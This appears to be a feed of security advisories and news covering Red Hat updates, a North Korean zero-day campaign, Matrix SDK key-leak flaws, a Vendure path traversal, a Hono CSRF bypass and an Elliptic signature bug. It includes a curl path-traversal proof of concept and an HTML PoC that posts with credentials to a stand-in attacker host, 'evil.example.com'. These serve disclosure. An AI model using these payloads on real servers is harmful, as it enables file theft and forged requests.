Red Hat Security Advisory 2024-8112-03 - An update for buildah is now available for Red Hat Enterprise Linux 9.

Red Hat Security Advisory 2024-7925-03 - Red Hat OpenShift Container Platform release 4.17.1 is now available with updates to packages and images that fix several bugs and add enhancements.

The North Korean threat actor known as ScarCruft has been linked to the zero-day exploitation of a now-patched security flaw in Windows to infect devices with malware known as RokRAT. The vulnerability in question is CVE-2024-38178 (CVSS score: 7.5), a memory corruption bug in the Scripting Engine that could result in remote code execution when using the Edge browser in Internet Explorer Mode.

### Impact matrix-react-sdk before 3.102.0 allows a malicious homeserver to potentially steal message keys for a room when a user invites another user to that room, via injection of a malicious device controlled by the homeserver. This is possible because matrix-react-sdk before 3.102.0 shared historical message keys on invite. ### Patches matrix-react-sdk 3.102.0 [disables sharing message keys on invite](https://github.com/matrix-org/matrix-react-sdk/pull/12618) by removing calls to the vulnerable functionality. ### Workarounds None. ### References The vulnerability in matrix-react-sdk is caused by calling `MatrixClient.sendSharedHistoryKeys` in matrix-js-sdk, which is inherently vulnerable to this sort of attack. This matrix-js-sdk vulnerability is tracked as CVE-2024-47080 / [GHSA-4jf8-g8wp-cx7c](https://github.com/matrix-org/matrix-js-sdk/security/advisories/GHSA-4jf8-g8wp-cx7c). Given that this functionality is not specific to sharing message keys on *invite*, is optional, ...

### Impact In matrix-js-sdk versions 9.11.0 through 34.7.0, the method `MatrixClient.sendSharedHistoryKeys` is vulnerable to interception by malicious homeservers. The method implements functionality proposed in [MSC3061](https://github.com/matrix-org/matrix-spec-proposals/pull/3061) and can be used by clients to share historical message keys with newly invited users, granting them access to past messages in the room. However, it unconditionally sends these "shared" keys to all of the invited user's devices, regardless of whether the user's cryptographic identity is verified or whether the user's devices are signed by that identity. This allows the attacker to potentially inject its own devices to receive sensitive historical keys without proper security checks. Note that this only affects clients running the SDK with the legacy crypto stack. Clients using the new Rust cryptography stack (i.e. those that call `MatrixClient.initRustCrypto()` instead of `MatrixClient.initCrypto()`) ar...

# Description ## Path traversal This vulnerability allows an attacker to craft a request which is able to traverse the server file system and retrieve the contents of arbitrary files, including sensitive data such as configuration files, environment variables, and other critical data stored on the server. From Rajesh Sharma who discovered the vulnerability: POC: `curl --path-as-is http://localhost:3000/assets/../package.json` gives you the content of package.json present in the local directory. The vulnerability stems from usage of decodedReqPath directly in path.join without performing any path normalization i.e path.normalize in node.js https://github.com/vendure-ecommerce/vendure/blob/801980e8f599c28c5059657a9d85dd03e3827992/packages/asset-server-plugin/src/plugin.ts#L352-L358 If the vendure service is behind some server like nginx, apache, etc. Path normalization is performed on the root server level but still the actual client's request path will be sent to vendure service ...

### Summary Bypass CSRF Middleware by a request without Content-Type herader. ### Details Although the csrf middleware verifies the Content-Type Header, Hono always considers a request without a Content-Type header to be safe. https://github.com/honojs/hono/blob/cebf4e87f3984a6a034e60a43f542b4c5225b668/src/middleware/csrf/index.ts#L76-L89 ### PoC ```server.js // server.js import { Hono } from 'hono' import { csrf }from 'hono/csrf' const app = new Hono() app.use(csrf()) app.get('/', (c) => { return c.html('Hello Hono!') }) app.post('/', async (c) => { console.log("executed") return c.text( await c.req.text()) }) Deno.serve(app.fetch) ``` ```poc.html <!-- PoC.html --> <script> async function myclick() { await fetch("http://evil.example.com", { method: "POST", credentials: "include", body:new Blob([`test`],{}), }); } </script> <input type="button" onclick="myclick()" value="run" /> ``` Similarly, the fetch API does not add a Content-Type header for requests ...

The Elliptic package 6.5.7 for Node.js, in its for ECDSA implementation, does not correctly verify valid signatures if the hash contains at least four leading 0 bytes and when the order of the elliptic curve's base point is smaller than the hash, because of an _truncateToN anomaly. This leads to valid signatures being rejected. Legitimate transactions or communications may be incorrectly flagged as invalid.
